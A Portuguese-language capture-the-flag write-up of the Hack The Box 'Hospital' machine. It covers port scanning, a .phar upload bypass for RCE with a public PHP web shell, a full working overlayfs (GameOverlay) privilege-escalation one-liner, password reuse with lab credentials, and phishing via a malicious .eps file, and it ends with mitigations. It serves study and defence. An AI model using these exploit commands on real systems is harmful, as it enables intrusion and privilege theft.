Hospital
Introdução
Writeup da máquina Hospital da Hack The Box (dificuldade Medium), documentando o processo completo que segui: reconhecimento, exploração de um portal web em PHP para obter execução remota de código, escalada de privilégios local via CVE do overlayfs e, por fim, pivotagem para um segundo host através de um ataque de phishing usando um arquivo .eps malicioso.
IP alvo: 10.10.11.241
Escaneamento
Comecei com um scan completo de portas via nmap para identificar todos os serviços expostos:
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.241 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -A -p $ports 10.10.11.241
sudo nmap -Pn --open -sS 10.10.11.241
Refinei com detecção de serviço/versão nas portas abertas:
sudo nmap -Pn --open -sS -sV 10.10.11.241

Enumeração
Porta 8080 — portal web em PHP
http://10.10.11.241:8080/login.php
Criei um usuário e fiz login. A aplicação possui um campo de upload de arquivos:
O backend roda em PHP.
Fuzzing de diretórios
gobuster dir -k -u http://10.10.11.241:8080/ -w /usr/share/wordlists/dirb/big.txt -t 100 --delay 1s -e --no-error -r -x php
(As notas originais não detalham quais diretórios adicionais foram encontrados no fuzzing, além de confirmarem que o alvo é uma aplicação PHP.)
Exploração
Upload malicioso — bypass de extensão (.phar)
Testando o campo de upload de arquivo do portal na porta 8080, descobri que a extensão .phar não é bloqueada pelo filtro da aplicação e ainda é interpretada como PHP pelo servidor, permitindo executar código arbitrário.
Fiz upload de um web shell PHP (usei o web shell público p0wny-shell) renomeado com extensão .phar, e consegui execução remota de comandos:

Pós-exploração
Escalada de privilégios local (www-data → root)
Com shell no sistema como www-data, iniciei a enumeração de privilégios locais:
Encontrei credenciais de banco de dados em arquivo de configuração:
root:my$qls3rv1c3!
Para escalar até root, explorei uma vulnerabilidade conhecida do kernel Linux relacionada ao overlayfs em sistemas de arquivos montados com namespaces de usuário sem privilégios (CVE-2023-2640 e CVE-2023-3262, conhecida como “GameOverlay”):
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
Com root, li o /etc/shadow do host:

Movimentação lateral — segundo serviço web (webmail)
Identifiquei um segundo serviço web (HTTPS) exposto:
https://10.10.11.241/
Para entrar, usei as credenciais encontradas anteriormente (reaproveitamento de senha do usuário drwilliams):
drwilliams:qwe123!@#
Dentro do webmail, encontrei um endereço de e-mail válido de outro usuário:

Phishing com arquivo .eps malicioso
Com esse e-mail válido em mãos, montei um ataque de phishing usando um arquivo .eps malicioso (explorando a conversão/renderização de PostScript encapsulado feita no lado da vítima) para obter execução de código quando o arquivo fosse aberto:
O ataque funcionou e recebi shell de volta na estação da vítima:

Enumeração da rede interna (192.168.5.1)
A partir do shell na estação Windows, identifiquei uma rede interna adicional (192.168.5.1, provavelmente o controlador de domínio) e listei os perfis de usuário existentes na máquina:
tree /a /f \users
(As notas originais não detalham os passos finais de comprometimento do controlador de domínio a partir daqui — ficou registrado apenas até este ponto de enumeração.)
Anexos
- Web shell PHP usado no upload: p0wny-shell (renomeado para
.phar) - Exploit local para escalada de privilégios via overlayfs:
CVE-2023-2640/CVE-2023-3262 - Script próprio de automação para obtenção de shell inicial:
sau-getshell.py(script em Python referenciado nas notas originais, mas não recuperado no conteúdo desta página) - Comandos de enumeração:
nmap,gobuster
Mitigação
- Upload de arquivos sem validação adequada (porta 8080): validar o tipo de arquivo por conteúdo (magic bytes) e não apenas pela extensão; bloquear explicitamente extensões executáveis por PHP, incluindo variantes como
.phar,.phtml,.pht; armazenar uploads fora da webroot ou em diretório sem permissão de execução; desabilitarphar.readonly/registro de wrapperphar://quando não necessário. - CVE-2023-2640 / CVE-2023-3262 (overlayfs + user namespaces): atualizar o kernel Ubuntu para uma versão corrigida; caso não seja possível aplicar patch imediatamente, restringir/desabilitar namespaces de usuário sem privilégios (
sysctl kernel.unprivileged_userns_clone=0) como mitigação temporária. - Reuso de senha entre serviços (usuário
drwilliams): aplicar política de senhas únicas por serviço, MFA no webmail e rotação de credenciais expostas. - Exposição de credenciais em arquivo de configuração legível pela aplicação web: mover segredos para um cofre de credenciais (vault) ou variáveis de ambiente fora da webroot, com permissões restritas ao usuário de serviço.
- Vulnerabilidade de execução de código via arquivo
.eps(phishing): manter softwares de visualização/conversão de PostScript e imagens atualizados, desabilitar interpretadores PostScript legados quando não utilizados, e treinar usuários para não abrir anexos inesperados; considerar sandboxing na abertura de anexos recebidos por e-mail. - Segmentação de rede: revisar a exposição da estação Windows para a rede interna (
192.168.5.1) e aplicar princípio de menor privilégio entre segmentos.